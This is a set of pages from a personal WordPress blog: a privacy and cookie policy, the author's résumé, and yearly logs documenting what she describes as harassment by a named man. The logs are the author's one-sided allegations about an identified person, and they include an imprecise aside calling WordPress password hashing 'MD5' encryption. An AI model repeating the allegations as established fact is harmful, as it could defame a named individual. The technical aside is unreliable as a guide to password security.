After months of merely alluding to Mrs. Epstein, in late December Mr. Tiwari again included here (and Mr. Wood) in his attacks. Following posts by WordPress leaders [Karim Marruchi](https://marucchi.com/wordpress-leadership-continued/) and [Joost de Valk](https://joost.blog/wordpress-leadership/), Mr .Tiwari started to reply to suggestions of new governance with remarks cautioning people to not hire or include Mr. Wood or Mrs. Epstein.
As evidenced in this series of posts, Mr. Tiwari’s representation of the facts omits crucial details.
---
### [Privacy Policy](https://halfelf.org/get/privacy/)
**Published:** April 19, 2012
**Author:** Ipstenu (Mika Epstein)
**Content:**
**Last Updated: 18 May 2018**
By using this website, you agree to the terms of service. You are welcome to use, reuse, and extend the data here for no fees.
## Terms of Use
The following terms and conditions govern all use of this site, the content, services, and products including, but not limited to, the content on the blog.
All services are offered subject to the acceptance of visitors, without modification, of the terms and conditions listed. By accessing and using this website, visitors accept and agree to be bound by the terms and provision of this agreement. In addition, when using this site, visitors shall be subject to any posted guidelines or rules applicable to such Services, which may be posted and modified over time. All such guidelines or rules are hereby incorporated by reference into the TOS.
**ANY PARTICIPATION IN THIS SITE WILL CONSTITUTE ACCEPTANCE OF THIS AGREEMENT. IF YOU DO NOT AGREE TO ABIDE BY THE ABOVE, PLEASE DO NOT USE THIS SITE.**
**Liability of Information.** This site and its services are offered for informational purposes only; this site shall not be responsible or liable for the accuracy, usefulness or availability of any information transmitted or made available via the site, and shall not be responsible or liable for any error or omissions in that information.
**Ownership of Subject Matter.** This site claims ownership of all original content. All reasonable efforts are made to properly credit and attribute non-original content.
**DMCA and Copyright Infringement.** By law all claimants are required to inform this site, and allow time for a reasonable response, before filing legal action regarding any claims to content found within this site. Complaints can be emailed `webmaster@ipstenu.org` – someone will reply within 30 business days. Note that per US law, by removing questioned data this site is protected from further legal action in most situations.
**Advertisements and Compensation.** This site makes use affiliate links to promote products used, such as the webhost, themes, and plugins.
**Responsibility of Contributors.** Visitors are responsible for their own comments and any content provides is of their own free will.
**Web Traffic.** This site uses two third party services, [Google](https://www.google.com/analytics/terms/us.html) and [Jetpack Analytics](http://jetpack.com/support/privacy/), to measure audience and usage.
**Data and Privacy.** Data is collected from all visitors, via 3rd party services. Visitors who engage directly with this site (such as leaving comments) will have more information collected as they provide it. For details, please continue reading.
**Protection of Information.** This site takes all measures reasonably necessary to protect against the unauthorized access, use, alteration, or destruction of potentially personally-identifying and personally-identifying information.
## Data Collection
Like most website operators, this site collects non-personally-identifying information of the sort that web browsers and servers typically make available, such as the browser type, language preference, referring site, and the date and time of each visitor request.
This site also collects potentially personally-identifying information like Internet Protocol (IP) addresses. This information is not used to identify visitors, however, and does not disclose such information, other than under the same circumstances that it uses and discloses personally-identifying information, as described below.
**Comments: **When visitors leave comments on the website, the collected data shown in the comments form, as well as the visitor’s IP address and browser user agent string are saved in order to help spam detection and monitor visitor abuse.
**Cookies:** Visitors who leave a comment on this site may opt in to saving their name, email address, and website in cookies. These are for convenience so that they do not have to fill in your details again when they leave another comment. These cookies will last for **one year** (365 days).
See also: [Cookie Policy](https://halfelf.org/get/cookie-policy/)
**Mailing Lists:** Visitors who chose to register for a double-opt-in email list will receive emails when new content on the site is published. This service is provided by Automattic (via Jetpack) and is subject to [Automattic’s Privacy Policy](https://automattic.com/privacy/). If visitors do not wish to be tracked then they should not register for an email subscription.
**Aggregated Statistics: **This site collects and may share statistics about the behavior of visitors to its websites. For instance, it may reveal how many visits a particular page got. Personal information will not be revealed to the public.
## 3rd Party Services
Third party vendors are used to provide additional services, such as spam protection, ads, and analytics. These vendors often use cookies to serve content (such as ads) based on a user’s prior visits to this website or other websites, as well as track visits. Visitors may opt out of these vendor’s use of cookies for personalized advertising by visiting [www.aboutads.info](http://www.aboutads.info/choices/) or directly with the vendor via their website.
The following services are used:
- [Akismet](https://akismet.com/tos/)
- [Google Analytics and Adsense](https://policies.google.com/privacy)
- [Gravatar](https://gravatar.com/support/profile-privacy/)
- [Jetpack Analytics](https://jetpack.com/support/privacy/)
In addition, articles on this site may include embedded content (e.g. videos, images, articles, etc.). Embedded content from other websites behaves in the exact same way as if the visitor has visited the other website. These websites may collect data, use cookies, embed additional third-party tracking, and monitor interaction with that embedded content, including tracking interaction with the embedded content if a visitor has an account and are logged in to that website.
## Data Usage
The purpose in collecting information is to better understand how visitors use this site.
**Retention:** If a visitor leaves a comment, the comment and its metadata are retained indefinitely. This is so future comments can be recognized and approved automatically instead of holding them in a moderation queue. 3rd Party services retain data per their terms.
**Requisition:** Visitors who have left comments on this website or contacted the site via a contact form may request to receive an export file of the personal data held, including any data provided directly. Visitors can also request that we delete any personal data held. This does not include any data kept for administrative, legal, or security purposes.
Requests for data and it’s deletion may be sent to `webmaster@ipstenu.org`
## Policy Changes
Although most changes are likely to be minor, this Policy may change from time to time, and in our sole discretion. Visitors are encouraged to frequently check this page for any changes. Any continued use of this site after any change will constitute acceptance of such change.
---
### [Cookie Policy](https://halfelf.org/get/cookie-policy/)
**Published:** January 24, 2025
**Author:** Ipstenu (Mika Epstein)
**Content:**
While we do our best to prevent the setting of any cookie without consent, the only sure-fire way to block cookies is that visitor who do **not** wish to have cookies placed on their computers should set their browsers to refuse cookies before using this website, with the drawback that certain features may not function properly without the aid of cookies.
For additional details regarding cookie consent notices, please refer to [cookiechoices.org](http://cookiechoices.org/)
## Essential
Essential cookies enable basic functions and are necessary for the proper function of the website.
NameDescriptionDurationwpconsent\_preferencesThis cookie is used to store the user's cookie consent preferences.30 days### Comments
These cookies are needed for adding comments on this website.
NameDescriptionDurationcomment\_authorUsed to track the user across multiple sessions.Sessioncomment\_author\_emailUsed to track the user across multiple sessions.Sessioncomment\_author\_urlUsed to track the user across multiple sessions.Session## Statistics
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
### Google Analytics
Google Analytics is a web analytics service offered by Google that tracks and reports website traffic.
[Learn more](https://business.safety.google/privacy/)
NameDescriptionDuration\_gac\_Contains information related to marketing campaigns of the user. These are shared with Google AdWords / Google Ads when the Google Ads and Google Analytics accounts are linked together.90 days\_\_utmxUsed to determine whether a user is included in an A / B or Multivariate test.18 months\_galiUsed by Google Analytics to determine which links on a page are being clicked30 seconds\_ga\_ID used to identify users2 years\_gaUsed to distinguish users.2 years\_gatUsed to throttle request rate.1 minute\_gidUsed to distinguish users.24 hours\_\_utmaUsed to distinguish users.Persistent\_\_utmbUsed to determine new sessions/visits.30 minutes\_\_utmcUsed to determine if the user is in a new session/visit.Session\_\_utmtUsed to throttle request rate.10 minutes\_\_utmvUsed to store visitor-level custom variable data.2 years\_\_utmzStores the traffic source or campaign that explains how the user reached your site.6 months
---
### [Résumé](https://halfelf.org/resume/)
**Published:** October 6, 2024
**Author:** Ipstenu (Mika Epstein)
**Content:**
I’m Mika Epstein, known in the WordPress world as the Half-Elf Rogue.
I use WordPress, I write plugins, and I’m well versed in the ins and outs of WordPress, code and community.
Let’s be clear, I know WordPress pretty darn well, but that’s not all!
[Employment](#employment)
[Cover Letter](#cover-letter)
[Hire Me](#hire-me)
WordCamp SF 2013, by Ben Dunkle
## Profiles
- [WordPress Forums](http://wordpress.org/support/profile/ipstenu)
- [WordPress Developer](https://profiles.wordpress.org/users/Ipstenu/)
- [GitHub](https://github.com/ipstenu)
## Platforms
- [WordPress](https://wordpress.org)
- [Hugo](https://gohugo.io)
- [MediaWiki](https://www.mediawiki.org/wiki/MediaWiki)
- [ZenPhoto](https://www.zenphoto.org/)
- [NetPhotoGraphics](https://netphotographics.org)
Quick WordPress.org Hits
- Forum Member since April 2006, posted in over 10k topics, mostly to help total
strangers.
- Forum Moderator since October 2010 (currently on hiatus).
- Plugin Review Team Representative (aka Lead) from 2016 through 2023.
- Developer of multiple plugins, contributor to more.
Mika at DreamHost
## tl;dr
I worked for a bank for 14 years, hosting for 10, and Agency work for 2, and handled myriad levels tech support and development for everything from CEOs to Data Entry.
Through all that, I was a volunteer moderator in the WordPress.org forums. I reviewed over 50 thousand plugins and have spoken at international WordCamps.
But I’m so much more.
## What’s *Not* In My Résumé!
It’s not going to tell you that when I was four I set up a Novation CAT modem at my grandmother’s condo so I could file her accounting data while she made me french toast on a Sunday morning.
It won’t tell you all about my father, a Risk Analyst who worked on the Challenger Disaster and, until his death, lived in Japan helping the Nuclear Power Commission there to prevent another Fukushima Daishi accident. I learned about risk, probability, and the difference between the two at his knee, such that when I hear people say they want an upgrade process with no risk and zero-downtime, I cringe at their unrealistic expectations.
My résumé certainly won’t tell you that I’ve been running a fansite for over 25 years because I wanted to see how you made a webpage, which subsequently taught me WordPress, MediaWiki, and Hugo.
It won’t tell you I co-developed, built, and maintain the worlds largest resource in LGBTQ representation of female, non-binary, and transgender characters on international television. It neglects the fact that I love playing D&D as a perpetual DM, I have a bicycle that I prefer to a car, and my wife tolerates my deep love for the Cleveland Guardians MLB team.
[](https://woody.com)**[Woody Epstein](https://woody.com)**
Risk Analyst
(WordPress)
[](https://jorjafox.net)**[Fans of Le Fox](https://jorjafox.net)**
Fan site for Jorja Fox
(Hugo)
[](https://lezwatchtv.com)**[LezWatch.TV](https://lezwatchtv.com)**
LGBTQ+ Database
(WordPress)
Writing a professional, computer themed, résumé makes me leave off things like how I’ve worked for a family owned dance wear company doing inventory and stocks, a restaurant waitress, hostess, and barista in a one-Starbucks town, spent a few summers on a farm, and done home repair.
Most companies wouldn’t care than I’ve performed voice over work and acted in plays as well as doing a small spot on a local PBS station. Certainly my work in lighting coordination, costume design and set design for small theater productions isn’t notable to tech companies.
And yet by ignoring those things, I would be ignoring the aspects that went into making me a free-thinking, left-wing Dot Communist kid.
My passions and skills are a direct result of all those things.
While I *have* worked for “The Man” for a long time, I never let it get me down. I’ve long looked at my job as a great piece of performance art that lets me play with computers, learn new skills, and get an understanding for the machinations that runs our society. I learned you should always accept the blame for your screw ups, be honest when you don’t know something, and be willing to try anything.
While my love for WordPress is great, I also recognize that it’s *not* always the best tool for the job. I’ve use ZenPhoto, NetPhotoGraphics, PHPNuke, SHTML, Drupal, MediaWiki, Hugo, and home grown PHP to handle content that just works better that way. I don’t let my passions cloud my vision, and I know there isn’t one perfect answer for every site. I have a realistic love affair with WordPress even when I disagree with methods or decisions. I see it for its beauty, its flaws, and its future.
I bring a vast array of support experience to the table, but I’m an adaptability and automation specialist too. A huge part of my job has been my team dropping a list of issues on me, first thing in the morning, and asking me to figure it out ASAP. I became the ‘expert’ of multiple technology stacks simply by noting the lack of documentation and taking the work upon myself. When it comes to automation, I love to build reusable scripts that require minimal input to reduce risk.
I can be the gatekeeper who, complete with pointy wizard hat, shouts “You will not pass (without the required data)!” I can be builder who bridges the support staff gap between technical programmers and form fillers. I can be the tech-writer, documenting what we’ve done so the new hire in India can pick up the work and go, with a bare minimum of training.
Everyone always asks what my weaknesses are. I don’t suffer fools gladly, or at all, and that can lead to me being perceived as cold or angry. I try to keep out of arguments where there is no common ground, which results in people believing me to be unwilling to discuss matters. I’m untrusting of how places like Facebook and Google use private data. I would say my weakest *WordPress* related skills are direct SQL calls and JavaScript but, it’s like saying I’m better at walking than running.
My dream job? It would be amazing to work on LezWatch.TV all the time, or even make bagels (approved by real New Yorkers). But I want to also work for groups making significant and needed change in the world and, in order to make the world better, I need to keep working in the related fields and keep abreast of current technology.
## Employment History
---
### [Awesome Motive](https://awesomemotive.com) (12/2024 — current) **\[NEW\]**
Senior Developer for Research & Development. Working on internal projects and contributing to WordPress.org core and systems as part of Five For The Future.
### [XWP](https://xwp.co) (08/2022 — 10/2024)
WordPress Developer on multiple projects, developing bespoke features, including calling remote APIs for data, storing them locally, and keeping them in sync. Worked on importing hand-hewn HTML to WordPress, updated code to be more sustainable and updatable, estimated risks and utilized that information to minimize downtime for clients.
During this time, stepped down as the Plugin Team Representative and remained on in an advisory capacity.
---
### [DreamHost LLC ](https://dreamhost.com)(08/2012 — 08/2022)
Senior WordPress Developer on the Product Engineering Team, tasked with managing and maintaining our Varnish installation and configuration, the official Varnish Plugin, as well as other minor internal works (WP-CLI add ons). Worked on multiple teams such as Tech Support and Servers before moving to engineering to help maintain the Managed hosting service for WordPress from the ground up, including server updates and improvements in both software and hardware.
During this time, assumed the role of Plugin Team Representative on WordPress.org and was sent to multiple WordCamps to speak and represent DreamHost.
---
### The Northern Trust Company (02/1999 — 08/2012)
**Vice President of Worldwide Operations and Technology** (05/2005 — 08/2012)
Senior technical lead of the Code Migration Team, responsible for installing in-house software on application servers in multiple environments, including Linux, Solaris Unix, Windows Server (NT through 2003), and Netscape Webservers. Designed workflows in Mercury Project and Portfolio Manager (aka Kintana) to handle installations and scheduling across multiple platforms, designed BASH scripts and DOS scripts to automate installation. Lead support of PVCS Version Manager and its integration with third-party software. Assisting Introscope and Sitescope integration, as well as implementing Watchmouse.
During this time, promotions to Second Vice President and later Vice President were received.
**Officer of Worldwide Operations and Technology** (09/2003 — 05/2005)
Working in application certification as a senior technician to standardize and deploy software through the company by working with the business partners and technical liaisons to create self contained packages. Worked on the XP migration project as well as XP SP2 testing, while still providing backwards compatibility for NT and 2000. Assisted in hardware configuration of testing lab.
**Officer of Worldwide Operations and Technology** (05/2002 — 09/2003)
Working on the Standard Workstation Image team as the chief designer and support for an in house build of Internet Explorer (v 5.0 SP1 through 5.5 SP2), maintaining team web pages, assisting in the development of a standardized operating system for NT, 2000 and XP, updating McAfee Virus Scan settings, and propagating updated data across the network.
During this time, promotions to Senior Software Engineer and later Officer were received.
**Software Engineer** (02/1999 — 05/2000)
Continued working in application certification as a Software Engineer to standardize and deploy software. Assigned to assist the Year 2000 project, by helping install, configure and test computers for emergency use.
---
### New Boston Systems (04/1998 — 02/1999)
Working at the Northern Trust in application certification to standardize and deploy software through the company by working with the business partners and technical liaisons to create self contained proprietary packages.
## Still on the Fence?
- I’m passionate and dedicated.
- I’m not a job jumper.
- I have dice in my purse.

## Hire Me!
*While I am not actively looking for a role at this time, I am always open to opportunities and change.*
[contact-form-7 id=”6292393″ title=”Hire Me”]
---
### [Harassment by Way2Enjoy - 2023](https://halfelf.org/harassment-rst/rst-2023/)
**Published:** February 8, 2023
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
As Mrs. Epstein left Twitter at the end of 2022, Mr. Tiwari had been silent on most WordPress matters for a few months.
He did begin the year complaining to people who liked Tumblr, repeating the disinformation that Tumblr was for porn.
## Table of Contents
- [February](#february)
- [March](#march)
- [April](#april)
- [May](#may)
- [June – December](#june-december)
## February
On the 18th of February, the postponed (pre pandemic) [WordCamp Asia](https://asia.wordcamp.org/2023/) finally took place. Per usual, Matt’s appearance was heralded by asking people for AMA (ask me anything) questions for his talk. Mr. Tiwari replied twice:
While Mr. Tiwari claims to have had recent rejections of plugins, to the best knowledge of the team, there have been no new submissions from him. This suggests that, even if he did submit, the rejections were solely on the merit of his submission.
His second tweet was a follow up:
“Sort of stubborn kid” indeed.
But, more or less, relatively quiet.
## March
In March, Mrs. Epstein announced her impending departure from the plugin team, and this apparently was unnoticed by Mr. Tiwari as he concentrated on `#wp20`:
His followup reply was less pointed at plugins:
> Who has created this logo?? If u would have paid someone 5$ at fiverr they would have created much better logo. I know u guys don’t take feedback positively so its ur wish but ask anyone. The logo u r showing any 1st standard kid will create better.
## April
In April, most of Mr. Tiwari’s complaints were over things like an exploding birthday cake and being banned by WhatsApp.
As evidence in the screenshot, Mr. Tiwari again says he was given “no reason” for his ban.
For some reason, he has also begun DMing people.
## May
WordPress turned 20 on May 27th. As part of the pre-birthday celebration, Automattic tweeted
On the 27th itself, he went on a tirade of single replies to WordPress’ birthday post:
## June – December
In between posting praise to Mr. Mullenweg for his travels, Mr. Tiwari also posted complaints:
Again, he demonstrates a confusion about what is WordPress.org and what is WordPress.com.
He also shared unsolicited (and weird) advice.
At some point, he told Google he had a ‘fix’ for a massive security bug in Google Maps. That tweet was ignored.

---
### [Harassment by Way2Enjoy - 2022](https://halfelf.org/harassment-rst/rst-2022/)
**Published:** October 24, 2022
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
## Table of Contents
- [August](#august)
- [September](#september)
- [October ](#october)
- [Locked Twitter Account](#locked-twitter-account)
- [November](#november)
- [Exodus](#exodus)
- [Legal Notice](#legal-notice)
- [December](#december)
Only two emails were sent in early 2022, both ignored, however a decision was made to change his email from ‘file and mark read’ to ‘do-not-deliver’. Mr. Tiwari emailed again per the logs of the email system (do-not-deliver puts the email in trash automatically, it does not actually reject the email) and moved to Twitter as a location for ongoing harassment.
## August
Starting on the 23rd, Mr. Tiwari began tweeting to people who work in WordPress, and know Mrs. Epstein with comments like how WordPress is only for the LGBTQ:
When these were pointed out to Mrs. Epstein, she reported them to Twitter as a hate attack based on her sexuality. The tweets were removed, however at the same time Twitter emailed:
> After reviewing the available information, we want to let you know [rstbiet](https://twitter.com/i/redirect?url=https%3A%2F%2Ftwitter.com%2Frstbiet&t=1&cn=YnlzdGFuZGVyX2FidXNlX25vX3Zpbw%3D%3D&sig=5d90196f4e29a1b26f4f3115c4fb6d808cb4f0a5&iid=78da99c1d4b34390870585a79d8310ee&uid=9412542&nid=296+1) hasn’t broken our [safety policies](https://twitter.com/i/redirect?url=https%3A%2F%2Fhelp.twitter.com%2Fen%2Frules-and-policies%2Ftwitter-rules&t=1&cn=YnlzdGFuZGVyX2FidXNlX25vX3Zpbw%3D%3D&sig=455c934b7ca8eb04b173542fe7421fa4628f5867&iid=78da99c1d4b34390870585a79d8310ee&uid=9412542&nid=296+2). We know this isn’t the answer you’re looking for. If this account breaks our policies in the future, we’ll notify you.
>
> Twitter Support
At that time, Mr. Twiari also began @-ing official WordPress twitter accounts, anyone who happened to mention WordPress or the (then) upcoming WordCamp US (the largest WordPress event in North America), and of course people he knew were connected to Mrs. Epstein.
For example, he called Mr. Mullenweg ‘psycho’ and ‘arrogant’:
Or that Mr. Mullenweg himself is homosexual:
As well as claims that only queers are allowed to use WordPress.COM and WooCommerce:
Beyond such comments, he also began to claim that WordPress.org had access to people’s passwords and could use that to hack someone’s paypal/gmail/etc.
Even if one presumed a developer was so ignorant as to use the exact same password on all services (which is an egregious security risk in and of itself), any WordPress developer of worth would know that they **DO NOT** have access to passwords. And certainly few people have access to the WordPress.org database in a way that they could access the encrypted passwords.
All passwords in WordPress (which is in fact what powers wordpress.org) are hashed (encrypted) via MD5 and also salted. This effectively means a human cannot (nor a computer) easily decrypt a password (theoretically, all passwords can be cracked given enough time and sufficient computer processing). That said, WordPress the software doesn’t even try to save a password in clear text. The software takes your inputted password and repeats the encryption process to compare the results. If the encrypted password matches the saved encryption, it’s valid. There is no attempt to actually decrypt or make the password ‘visible.’ It is simply accepted as an unknown.
It’s also important to note that when a user is suspended on WordPress.org, their password is **automatically** reset. This means whatever his password ‘was’ at the time of his ban, it was immediately deleted and changed to something else. Thus it is categorically impossible for Mrs. Epstein to be aware of his passwords either in or outside of WordPress.org.
Furthermore, while it **is** plausible that Mrs. Epstein (and any administrator on WordPress.org) could re-set his password, that is *only* contained to WordPress.org and does not extend to any other site. In short, a user account in WordPress.org has no correlation to user accounts on external sites.
## September
Many of those tweets in August were deleted, for reasons unknown, however as of 16 September, Mr. Tiwari had returned to his homophobic attacks:
Mrs. Epstein reported this post as soon as it was brought to her attention. Many other posts were made trying to determine why Mrs. Epstein was not attending WordCamp US in early September, as she had been scheduled to speak but had to back out due to unrelated issues.
Mr. Tiwari continued to harass anyone who talked about WordPress, if they were ‘notable’ or knew Mrs. Epstein, making claims such as calling her a “devil” though he mentioned her by name slightly less. Twitter has not responded to any of those reported tweets as actionable, which is expected. They care little for public safety.
It appeared Mr. Twiari’s new tactic was to follow everyone Mrs. Epstein does, or prominent people in the WordPress community, and @-reply to them to establish rapport. Since Twitter will not take action, even for comments such as calling Mrs. Epstein a ‘devil’ (see below), she opted to notify people who were being regularly @-ed by Mr. Tiwari about the situation and explain he was, in fact, her serial harasser, and it would be better to just block him and move on, as there was no historical reason to expect a positive outcome from any dialogue.
For example:
Most people have subsequently blocked him.
## October
Abusive and harassing comments continued, though often not by direct name, with the same discordant and opposing communication styles:
On October 23, after the tweets continued and Mrs. Epstein tweeted a non-anonymized screenshot of a tweet where he called her out by name, and pointed out Twitter was going to do nothing, and refused to believe anything was actually harassment, even though she was called psycho and a devil, and claims were made that her actions were due to her homosexuality.
When other people attempted to point out there was no path back (note that Mr. Sieminski in the below screenshot works for WordPress.Com/Automattic), his reply was to again state that no one can question Mrs. Epstein:
There has never been any intended harassment towards Mr. Tiwari. He has not been contacted since 2019 and there is no plan to change that. However as his current actions are an attempt to defame and humiliate Mrs. Epstein, ruining her established credentials within the community, the collective decision was made to have this document public.
Anyone who’s tried to explain to Mr. Tiwari that he is over the line and unprofessional is called a slave of Mrs. Epstein. She has not encouraged anyone to address the situation with him, since she sees no benefit of viable outcome after four years.
On October 27th, the day **after** this article went public, multiple attempts to reset passwords on Mrs. Epstein’s websites (and to presumably log in) were recorded, all from the same IP range. The server itself blocked those attempts promptly, by design and basic server security.
### Locked Twitter Account
In October 28th, some friends of Mrs. Epstein attempted to intercede on Twitter, explaining to Mr. Tiwari that his unprofessional behaviour had ruined any chance he would reasonably expect at restoration. To one, who recommended Mr. Tiwari investigate getting some mental health care, Mr. Tiwari aggressively replied:
This was reported by multiple people, including Mr. Dan H Gilmore (to whom the threat was made). The next day, Mr. Gilmore shared the successful result:
It was no surprise to anyone that it took the report of a cis white man of being attacked to cause action on Twitter’s end. There is no slight meant to Mr. Gilmore, but instead to the ability of Twitter and any social media to adequately protect minorities. What **was** surprising was that shortly thereafter, Mrs. Epstein and many others received notice that most of the reported tweets (many listed in this post) were, indeed, a violation and his account was locked until they too were removed.
Related, that same day, noted internet privacy advocate, Ms. Heather Burns, posted her own take on this saga.
> [Online harms are hard. Meet a woman who is harder.](https://heatherburns.tech/2022/10/29/online-harms-are-hard-meet-a-woman-who-is-harder/)
## November
By the 5th of November, Mr. Tiwari had removed the offending tweets and was permitted back. Since then, he as continued tirades against:
- Tumblr – for allowing porn (it doesn’t any more than Twitter)
- Elon Musk – for banning people (claimed YouTube never bans people…)
- Matt Mullenweg – for being “two faced”
Mrs. Epstein chose to set her Twitter account private, due to that and the new regime at Twitter. This was confirmed as a wise choice when she found the twitter account [@James64586397](https://twitter.com/James64586397) was spouting the same nonsense:
Mr. Tiwari’s “new” accountThe homophobic posts were reported however given Elon Musk’s takeover, unlikely to bear fruit. Still, posts were reported and none have been made since 9th November. It’s **possible** the accounts were flagged for using multiple accounts to evade blocks, as that is a violation of Twitter’s terms.
### Exodus
Speaking of Elon Musk, a number of people (Mrs. Epstein included) walked away from active use of Twitter around this time.
### Legal Notice
Unknown to Mrs. Epstein (who does not now, nor has she ever worked for Automattic), a legal notice of some sort was apparently issued to Mr. Tiwari. He took to Twitter to vent:
Mr. Tiwari’s TweetAs one might expect if they’ve read this far, Mr. Tiwari shared the screenshot of the email with many people on Twitter, and called Mr. Mullenweg a “psycho” and attributed porn on the internet to Tumblr.
He also told other people that all this was Mrs. Epstein’s fault, and she controls everyone and everything.
> yes brother. i was expecting matt will help . he seems to be nice guy but he lacks guts. mika is dominating lady and whatever she says matt and folks at automattic cant counter her because they dont have guts
>
> Tweet from Mr. Tiwari – 19 November
It remains clear there is no point in attempting to talk to him.
The next round of tweets was about how Tumblr was for porn, but also an interesting claim:
> Avoid this guy. He will hire for 1-2 months then fire u. This is his all time fav game. And send u legal notice and theathen u
>
> Tweet from Mr. Tiwari – 21 November
This puts a new light on the legal action mentioned previously. Sadly, Mr. Tiwari has made it clear that he will not stop until he somehow gets WordPress kicked out of India:
In that twitter chain, Mr. Tiwari was finally made aware of this document and subsequently deleted many of his tweets saved in this post (as well as offline for posterity), including the media “proof” of legal action.
This demonstrates Mr. Tiwari’s delusions include Mr. Elon Musk.
## December
Mid December, things continued to unravel at Twitter (visit [Twitter is Going Great!](https://twitterisgoinggreat.com) for an overview). Musk started using polls to make decisions (including allowing banned users to return, banning reporters who disagree with him, and similar such trivial matters. Throughout Musk’s unpredictable behaviour, Mr. Tiwari continued to ‘suck up’ to him:
At this time, Twitter banned the mention of other social media sites. Mr. Tiwari immediately jumped to reporting every single tweet by Mr. Mullenweg or the Tumblr twitter account as a violation to these new terms, even though they took place primarily before the ruling was made.
In between all of those spurious reports, he continued to blame his problems on Mr. Mullenweg:
As this history has demonstrated, he was not banned ‘just’ for saying ‘TRY OUR PLUGIN’ however he certainly was warned about this. Furthermore, he made it clear he wants this to be painful for Mr. Mullenweg:
And as somewhat expected, Mr. Tiwari continued to blame Mrs. Epstein and Mr. Wood (and by extension Mr. Mullenweg) for his “woes”:
While it may be flattery to assume that Mrs. Epstein possesses the talents of a lawyer, or that her personality is so dominating that anyone would fall prey to it, Mr. Tiwari’s statements actually give credence to his removal from WordPress.org. That is, there must be surmountable evidence to have justified his ban.
If you have read this entire document, you know there is evidence.
---
### [Harassment by Way2Enjoy - 2020](https://halfelf.org/harassment-rst/rst-2020/)
**Published:** October 24, 2022
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
## Table of Contents
- [January – March](#january-march)
- [April](#april)
- [September – December](#september-december)
## January – March
At the start of the year, Mr. Tiwari opened a number of tickets with DreamHost, all asking for his work to be restored. At that time, the support team was made aware of the situation and directed to close the tickets.
On 8 January, Mr. Tiwari said he would no longer email. This was likely related to Mrs. Epstein’s reflective “Ten Years Ago” post on her personal website which mentions being harassed by him (not by name). This lasted until 12 February, when Mr. Tiwari asked if Mrs. Epstein blocked his website (`sandboxwordpress.com`). She did not, as she has no control over people’s websites.
After that, there was no communication until 20 March, when Mr. Tiwari decided to become the personal informant regarding COVID-19. Emails resumed at the 3 times a day metric. Based on screenshots he included, Mr. Tiwari was still emailing Mr. Mullenweg, including some claims that he hoped Mr. Mullenweg would be happy when he (Mr. Tiwari) was dead.
## April
Emails continued until mid April, when Mr. Tiwari created a [new account](https://wordpress.org/support/users/imageguy/) on WordPress.org and submitted a new plugin. This was summarily rejected without comment and the account banned. An [older plugin](https://wordpress.org/support/users/wpregenerate/) was also found and closed at this time.
Around this time, he claimed to have been [suspended by Adsense and it was somehow Mrs. Epstein’s fault](https://support.google.com/adsense/thread/40844538?hl=en).
Screenshot of Mr. Tiwari’s rant.This is not true. All that was ever reported to Google was abuse of Gmail (making multiple addresses to ‘get around’ a mail block is a ToS violation) and threats made in those emails. No reports were made to AdSense.
## September – December
In May and August, Mr. Tiwari sent one email. In September, he sent one regarding ‘700+’ days, in which he claimed the following:
> In these 700 days i always used respected words.
Again, there would be no replies to this, regardless of its demonstrable inaccuracy.
After only emailing once a month since May, he sent an email every day from November through December, while the US Election was being tabulated. After that, he emailed twice more.
---
### [Harassment by Way2Enjoy - 2019](https://halfelf.org/harassment-rst/rst-2019/)
**Published:** October 24, 2022
**Author:** Ipstenu (Mika Epstein)
**Content:**
**The Saga of Harassment by Way2Enjoy:**
**[Home](https://halfelf.org/harassment-rst/) | [2018](https://halfelf.org/harassment-rst/rst-2018/) | [2019](https://halfelf.org/harassment-rst/rst-2019/) | [2020](https://halfelf.org/harassment-rst/rst-2020/) | [2021](https://halfelf.org/harassment-rst/#2021) | [2022](https://halfelf.org/harassment-rst/rst-2022/)** | **[2023](https://halfelf.org/harassment-rst/rst-2023/)** | **[2024](https://halfelf.org/harassment-rst/rst-2024/)** | **[2025](https://halfelf.org/harassment-rst/rst-2025/)**
*(Last Updated 22 May 2025)*
## Table of Contents
- [January](#january)
- [Contacting the US Congress and Senate](#contacting-the-us-congress-and-senate)
- [Further Blocks](#further-blocks)
- [Cessation of Communication by Plugins](#cessation-of-communication-by-plugins)
- [Charity Work](#charity-work)
- [DreamHost](#dreamhost)
- [Threat to “damage you maximum”](#threat-to-damage-you-maximum)
- [February](#february)
- [March](#march)
- [Another Delivery](#another-delivery)
- [Twitter](#twitter)
- [Another New Plugin and Bribes](#another-new-plugin-and-bribes)
- [Threats Again](#threats-again)
- [Quitting](#quitting)
- [April](#april-1)
- [Cease & Desist](#cease-desist)
- [May – June](#june)
- [Another New Account](#another-new-account)
- [Legal Notice](#legal-notice)
- [August – October](#august-october)
- [November](#november-1)
- [December](#december-1)
## January
